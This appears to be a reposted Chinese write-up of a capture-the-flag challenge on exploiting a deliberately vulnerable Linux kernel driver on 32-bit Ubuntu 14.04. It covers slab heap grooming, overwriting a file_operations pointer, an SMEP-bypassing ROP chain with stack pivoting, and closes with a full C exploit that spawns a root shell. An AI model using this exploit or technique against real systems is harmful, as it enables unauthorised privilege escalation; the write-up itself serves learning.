<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/binary/14936

            0x00 簡介


            之前只接觸過應用層的漏洞利用, 這次第一次接觸到內核層次的,小結一下。

            0x01 概況


            這次接觸到的,是吾愛破解挑戰賽里的一個題,給了一個有問題的驅動程序,要求在ubuntu 14.04 32位系統環境下提權。驅動實現了write函數,但是write可以寫0x5a0000000個字節。然后還實現了一個ioctl,這里有任意地址寫的問題(但是這個分析里沒用到)。還有一個read函數,這個可以讀取堆上的數據。驅動的代碼可以在這里下載到:http://www.52pojie.cn/thread-480792-1-1.html

            #!cpp
            static ssize_t mem_write(struct file *filp, const char __user *buf, size_t size, loff_t *ppos)
            {
                unsigned long p =  *ppos;
                unsigned int count = size;
                int ret = 0;
                struct mem_dev *dev = filp->private_data;
            
                if((dev->size >> 24 & 0xff) != 0x5a) 
                //dev->size == 0x5aXXXXXX
                    return -EFAULT;
            
                if (p > dev->size)
                    return -ENOMEM;
            
                if (count > dev->size - p)
                    count = dev->size - p;
            
                if (copy_from_user((void *)(dev->data + p), buf, count)) {
                    ret =  -EFAULT;
                } else {
                    *ppos += count;
                    ret = count;
                }
            
                return ret;
            }
            
            static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
            {
                struct mem_init data;
                if(!arg)
                    return -EINVAL;
                if(copy_from_user(&data, (void *)arg, sizeof(data))) {
                    return -EFAULT;
                }
                if(data.len <= 0 || data.len >= 0x1000000)
                    return -EINVAL;
                if(data.idx < 0)
                    return -EINVAL;
                switch(cmd) {
                    case 0:
                        mem_devp[data.idx].size = 0x5a000000 | (data.len & 0xffffff);
                        mem_devp[data.idx].data = kmalloc(data.len, GFP_KERNEL);
                        printk(KERN_DEBUG "heap:%p\n",mem_devp[data.idx].data);
                        if(!mem_devp[data.idx].data) {
                            return -ENOMEM;
                        }
                        memset(mem_devp[data.idx].data, 0, data.len);
                        break;
                    default:
                        return -EINVAL;
                }
            
                return 0;
            }
            
            static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
            {
                unsigned long p =  *ppos;
                unsigned int count = size;
                int ret = 0;
                struct mem_dev *dev = filp->private_data;
            
                if((dev->size >> 24 & 0xff) != 0x5a)
                    return -EFAULT;
            
                if (p > dev->size)
                    return -ENOMEM;
            
                if (count > dev->size - p)
                    count = dev->size - p;
            
                if (copy_to_user(buf, (void*)(dev->data + p), count)) {
                    ret =  -EFAULT;
                } else {
                    *ppos += count;
                    ret = count;
                }
            
                return ret;
            }
            

            write里的dev->data是通過調用ioctl后kmalloc出來的,kmalloc的size可以自行指定。于是通過這個write,可以寫內核堆,甚至寫到內核棧里。我用的方法是覆蓋內核某個堆結構,改掉其上的某個指針,最好是某個函數指針,或者函數表指針。具體的是shmid_kernel結構的file指針,里面存有shm_ops,這是shm的函數表,里面有shm_mmap,而這個函數可以在用戶態通過shmat調用到。shmid_kernel這個結構體,則會通過在系統調用shmget時,被kmalloc。在我操作的機器上(32位):

            Alt text

            shmid_kernel分配時的大小是64+92 = 156:

            Alt text

            #!cpp
            struct shmid_kernel //結構體大小為92bytes
            {   
                struct kern_ipc_perm    shm_perm;
                struct file     *shm_file;
                unsigned long       shm_nattch;
                unsigned long       shm_segsz;
                time_t          shm_atim;
                time_t          shm_dtim;
                time_t          shm_ctim;
                pid_t           shm_cprid;
                pid_t           shm_lprid;
                struct user_struct  *mlock_user;
                struct task_struct  *shm_creator;
                struct list_head    shm_clist;  
            };
            

            0x02 覆蓋前的堆排布


            要保證能覆蓋到特定的結構,首先是要保證,申請到的內存是相鄰的。內核里kmalloc是slab的分配機制。一次至少會分配一個頁面,然后把這個頁面分為很多個連續的塊,這些塊的信息,可以通過cat /proc/slabinfo看到:

            Alt text

            分配的時候,是向上對齊的。比如,如果kmalloc的size滿足區間(128,192],那么就會給它分配一個192大小的塊。如果有空閑的塊,則把空閑的塊分配出去。只有當所有分配的slab里的塊,都被占用了,才會去分配新的slab(里面有很多相鄰內存的大小相同的塊)。比如說需要一個192的塊,而已經分配的192的slab里沒有空閑的,就會分配一個頁面的內存,里面分成4096/192 = 21個192bytes的塊,然后拿出第一塊分配出去,再申請,則拿出第二塊,以此類推。

            //slab的圖

            所以,如果我們想要得到兩個相鄰的塊。有這么幾點要求:

            所以,在這里來說,我們想要通過write,來覆蓋掉下一個堆塊,即我們的目標堆塊shmid_kernel (占用一個192的slab塊),要這么做:

            這之后再用write來進行覆蓋,就能達到我們的目的。

            0x03 overflow shmid_kernel


            為了確保我們的堆排布好了,我給這個有漏洞的驅動,patch了一行代碼,使得能夠把每次kmalloc的地址打印出來:

            Alt text

            而且在exp里,調用shmget之后,再一次調用ioctl來kmalloc一個192的塊。那么得到的dmesg:

            Alt text

            最后兩次 ioctl,中間相隔了2個0xC0的大小,其中一個應該是shmid_kernel。那么還有一個是什么?通過調用驅動的read,讀取這段堆上的內存,我發現:還有一個是shmid_kernel結構的shm_file,排布是這樣的:

            addr type
            0xc04e43c0 dev[0]->data
            0xc04e4480 shmid_kernel
            0xc04e4540 shmid_file
            0xc04e4600 dev1->data

            Alt text

            最開始的計劃,是覆蓋shmid_kernel結構的shmid_file指針(shmid_kernel+0x6c),但是現在發現可以直接覆蓋shmid_file的fop(shmid_file+0x14),這是指向其file_operations的指針。我們只要把這個指針覆蓋,就能偽造file_operations,于是偽造一個file_operations,在偏移0x40處,指定0x41414141。其余的內容,由于我們可以通過read讀取堆內容,所以write的時候,直接復制過去,改別的。 但是如果沒有read,我們也可以自己偽造一個shmid_kernel,當然肯定會麻煩一些。因為有一些檢查是要繞過的。

            #!cpp
            read(fd[2],readbuf,oversize); //由于llseek的限制,fd [0,1,2]做一個區分
            memcpy(buf,readbuf,oversize);
            map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
            memcpy(map,41,0x100);
            struct file **shm_file;
            shm_file = (struct file **)(buf+0x194);
            *shm_file = (void *)0x5a000000;  
            
            //fack_fop == 0x5a000000;
            //fack_fop_mmap == 0x41414141;
            
            write(fd[0],buf,oversize);
            ret = shmat(shmid,NULL,0);
            

            那么,調用shmat的時候,最終會調用:
            shmid_kernel->shm_file->fop->mmap(...)。這個時候,我們就能得到內核的控制流。

            Alt text

            0x04 SMEP


            得到控制流后,最開始我是這么想的:

            將控制流轉移到用戶態的代碼里來,進行提權,代碼可以是這樣子:

            #!cpp
            int __attribute__((regparm(3))) 
            kernel_code(struct file *file, void *vma)
            {
                commit_creds(prepare_kernel_cred(0));
                return -1;
            }
            

            但是,這樣只能針對沒有開啟SMEP(Supervisor Mode Execution Protection Enable)的情況。

            什么是SMEP?簡單來說,就是禁止內核執行用戶控件的代碼。它存在于CR4寄存器的第20 bit。

            Alt text

            在安卓上,也叫PXN。因為傳統的內核提權漏洞利用,得到控制流之后,直接跳轉到用戶空間執行提權代碼,實在是太輕松,所以就加了這么一個緩解機制。

            由于系統開了SMEP,這樣就只能在內核找ROP來拼湊提權代碼了。

            0x05 ROP & 棧移植


            構造ROP來調用

            #!cpp
            commit_creds(prepare_kernel_cred(0);
            

            通過cat /proc/kallsyms得到符號表之后,可以定位prepare_kernel_cred和commit_creds的地址:

            只有prepare_kernel_cred(0)需要一個參數,傳進去。看了下prepare_kernel_cred函數的匯編,這個參數用eax傳遞。所以需要一條

            pop eax
            ret
            

            或者是

            xor eax,eax
            ret
            

            prepare_kernel_cred的返回值,會直接傳給commit_creds,并不用在rop鏈里構造。那么初步的應該是這樣子:

            instruction addr
            pop eax;ret; 0xc1431272
            perpare_kernel_creds; 0xc1082e20
            commit_cred; 0xc1082b60

            問題來了:

            rop鏈,首先要寫到棧里面去,問題是如何寫。

            Alt text

            最后獲得控制流之前,eax 是內核堆上的地址,是shmid_kerneld的shm_file,里面的內容我們可以控制。ecx是偽造的fop表地址,我們可以完全控制。不好往棧里頭寫數據,不妨把棧給移植到能控制的地方來。

            于是我第一次找的 xchg ecx,esp這樣的指令。但是一執行,系統就崩了。具體原因,本人猜測應該是內核棧esp不能指向用戶空間。具體什么原因,也沒深究。

            所以第二次,我找的xchg eax,esp;ret 0x100這樣的指令。因為eax是shmid_file,還在內核空間,而其后面的數據都可以通過write控制,也就相當于能控制棧。還不用改寫shmid_file,只用在shmid_file頭4個字節寫上pop eax;ret;的地址,xchg之后的ret能順利執行就OK了。

            #!cpp
            memcpy(buf+0x180,rop,4);
            //rop[0] = 0xc1431272 ;
            //pop eax 
            //ret
            

            0x06 內核態返回


            最后一個問題,內核態如何返回用戶態。

            因為我們移植了內核棧,而內核態返回用戶態的時候,需要從內核棧里頭,彈出cs,eip,eflag,ss,esp等信息。當然,我們可以自己構造虛假的。但是內核棧里頭有很多結構體,特別是提取時候要用到的task結構體,就在內核棧開始的地方。我沒有試過構造虛假的內核棧,因為感覺太繁瑣,而且也不知道可不可行。

            于是我采取的是另外一種思路:

            把移植過來的棧,又移植回去。

            所以,我需要一個寄存器,來保存被移植前的esp。而prepare_kernel_cred() 和 commit_creds()。會對esi,edi,ebx三個寄存器進行保護:

            Alt text

            我選擇其中的esi來保存原始內核棧esp。那么rop鏈就變成了這樣子:

            instruction addr
            xchg eax,esp;ret 0xc1020eb1 覆蓋到shm_mmap的指針
            xchg eax,esi;ret 0xc1071395 覆蓋shm_file的前四個字節
            pop eax;ret; 0xc1431272 fack_stask
            fack_stask
            perpare_kernel_creds; 0xc1082e20 fack_stask
            commit_cred; 0xc1082b60 fack_stask
            xchg eax,esi;ret 0xc1071395 fack_stask
            xchg eax,esp;ret 0xc1020eb1 fack_stask

            0x07 get root shell


            最后,我們再用戶態,調用:

            #!cpp
            setresuid(0, 0, 0);
            setresgid(0, 0, 0);
            execl("/bin/bash","/bin/bash",NULL);
            

            整個提權利用,就完成了。

            Alt text

            0x08 exp

            有很多的內核漏洞文章,講了很多的內核漏洞利用技術:

            修改ptmx->fop,修改addr_limit,修改task結構,修改中斷描述符,將SMEP位反位等等,都博大精深。學習的路還很長很長。下面是這次提權的代碼:

            #!cpp
            #include <stdio.h>
            #include <stdlib.h>
            #include <string.h>
            #include <unistd.h>
            #include <fcntl.h>
            #include <limits.h>
            #include <inttypes.h>
            #include <sys/types.h>
            #include <sys/ipc.h>
            #include <sys/sem.h>
            #include <sys/shm.h>
            #include <sys/mman.h>
            #include <sys/stat.h>
            
            #define oversize 0x400
            struct mem_init {
                unsigned int idx;
                unsigned int len;
            };
            
            int prepare_kernel_creds = 0xc1082e20;
            int commit_creds = 0xc1082b60; 
            
            int main(){
                int fd[3],ret,i;
                int shmid;
                int *map;
                void *buf,*readbuf;
                struct mem_init arg;
                fd[0] = open("/dev/memdev0",O_RDWR);
                fd[1] = open("/dev/memdev1",O_RDWR);
                fd[2] = open("/dev/memdev2",O_RDWR);
                for(i=0;i<3;i++)
                    if(fd[i] < 0){
                        printf("[-]open driver failed!\n");
                        return 0;
                    }
                printf("[+]open driver success\n");
            
                //prepare heap
                arg.idx = 0;
                arg.len = 92+0x40;
                for(i=0;i<1000;i++){
                    ioctl(fd[0],0,&arg);
                }
                arg.idx = 1;
                ioctl(fd[1],0,&arg);
                arg.idx = 2;
                ioctl(fd[2],0,&arg);
            
                buf = malloc(oversize);
                readbuf = malloc(oversize);
            
                shmid = shmget(IPC_PRIVATE, 1024, IPC_CREAT | 0666);
                printf("%d\n",shmid);
                arg.idx = 3;
                ioctl(fd[0],0,&arg);
                printf("[+] heap prepare OK!\n");
            
            
                read(fd[2],readbuf,oversize); //read heap data
                memcpy(buf,readbuf,oversize); 
            
            
                read(fd[0],readbuf,192*2); //set llseek point
            
                map = mmap((void *)0x5a000000,0x1000,PROT_WRITE|PROT_READ | PROT_EXEC, 
            MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
                int **shm_file;
                shm_file = (int **)(buf+0x194); //fack fop
                *shm_file = (void *)0x5a000000;
            
            
                int rop[11];
                rop[0] = 0xc1071395; //xchg eax,esi;ret
                rop[1] = 0xc1431272; //pop eax;ret
                rop[2] = 0; //eax
                rop[3] = prepare_kernel_creds;
                rop[4] = commit_creds;
                rop[5] = 0xc1071395; //xchg eax,esi;ret
                rop[6] = 0xc1020eb1; //xchg eax,esp;ret
                rop[7] = 0;
                rop[8] = 0;
                rop[9] = 0;
                rop[10] = 0xc1380373; //xchg eax,esp;ret 0x100
            
                //  xchg eax,esp;ret
                //  xchg eax,esi;ret  ;
                //  pop eax;ret;  0xc1431272
                //  perpare_kernel_creds
                //  commit_cred
                //  xchg eax,esi;ret
                //  xchg eax,esp;ret
            
                memcpy(map,rop,4*30);  //map is fack fop
            
                memcpy(buf+0x180,rop,4); //after xchg eax,esp . ret
                memcpy(buf+0x280,rop,4*30);//fack  stack
                write(fd[0],buf,oversize);
            
                printf("[+] heap write done\n");
                printf("[+] read to triggle shellcode\n");  
            
                ret = (int)shmat(shmid,NULL,0); //triggle
            
                if(ret!=0)
                    printf("[+] OK,ready to get root!\n   press any key\n");
                getchar();
                setresuid(0, 0, 0);
                setresgid(0, 0, 0);
                execl("/bin/bash","/bin/bash",NULL);
                return 0;
            }
            

            0x09 參考鏈接


            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线